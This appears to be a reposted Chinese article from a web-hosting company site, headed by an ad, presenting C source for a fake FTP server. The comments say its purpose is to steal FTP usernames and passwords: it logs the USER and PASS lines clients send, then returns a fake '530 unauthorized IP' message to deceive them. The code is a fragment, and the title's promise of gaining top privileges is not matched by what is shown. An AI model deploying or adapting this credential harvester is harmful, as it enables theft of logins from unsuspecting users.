利用ftp服务程式本身设计的缺陷取得最高权限
来源:互联网
作者:west263.com
时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
// Purpose: To Handle FTP Request
// Return Type: BOOLEAN
// Parameters: NONE
//--------------------------------------------------------------------------------------------
BOOL HandleFTPRequest()
{
DWORD dwThreadID;
SOCKET AcceptSocket = INVALID_SOCKET;
SOCKET *CloneSocket = NULL;
while(TRUE)
{
SOCKADDR_IN client;
int nSize = sizeof(client);
AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize);
if (AcceptSocket == INVALID_SOCKET) // Something Is Wrong About The Socket
{
break; // Get To Leave
}
CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket)); // Allocate For Socket Ram
if (CloneSocket == NULL) // Not Enough Ram,Very Rare Situation
{
closesocket(AcceptSocket); // Close That Connection
continue;
}
*CloneSocket = AcceptSocket; // Make A Copy Of Accpet Socket
HANDLE hThread = CreateThread (NULL,0, (LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID); // Create A Thread
if (hThread != NULL)
{
CloseHandle(hThread);
}
}
closesocket(ListenSocket);
return TRUE;
}// End Of HandleFPRequest()
//--------------------------------------------------------------------------------------------
// Purpose: To Steal The FTP UserName And Password
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Connector's Socket
//--------------------------------------------------------------------------------------------
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket)
{
const char *UserOK = "331 User name okay, need password./r/n";
char Buffer[MAX_PATH];
memset(Buffer,0,sizeof(Buffer));
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive UserName
{
return FALSE;
}
if (strnicmp(Buffer,"USER", 4) == 0) // We Get The UserName, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,"---------------------------------------------------------------------------/r/n");
SaveInfo(LogFile,Buffer);
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
if (!SendSocket(ClientSocket,UserOK)) // Fail To Send Information
{
return FALSE;
}
memset(Buffer,0,MAX_PATH);
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive Password
{
return FALSE;
}
if (strnicmp(Buffer,"PASS", 4) == 0) // We Get The Password, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,Buffer);
SaveInfo(LogFile,"---------------------------------------------------------------------------/r/n/r/n");
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
return TRUE;
}// End Of RetrieveFTPUserAndPass()
//--------------------------------------------------------------------------------------------
// Purpose: To Handle The Connector's Request
// Return Type: DWORD
// Parameters:
// In: LPVOID Para --> The Connector's Socket
//--------------------------------------------------------------------------------------------
DWORD WINAPI FTPThread(LPVOID Para)
{
SOCKET ClientSocket = (*(SOCKET *)Para); // Retrieve The Socket
free(Para); // Free The Allocated Ram
if (!SendFTPBanner(ClientSocket)) // Fail To Send FTP Banner
{
closesocket(ClientSocket); // Close The Connection
return 1;
}
RetrieveFTPUserAndPass(ClientSocket); // Get The Connector's UserName and Password
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address./r/n"); // Cheat The Connector By Sending This
closesocket(ClientSocket); // Disconnect The Connector
return 0;
}// End Of FTPThread()
// End Of File
?>
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!



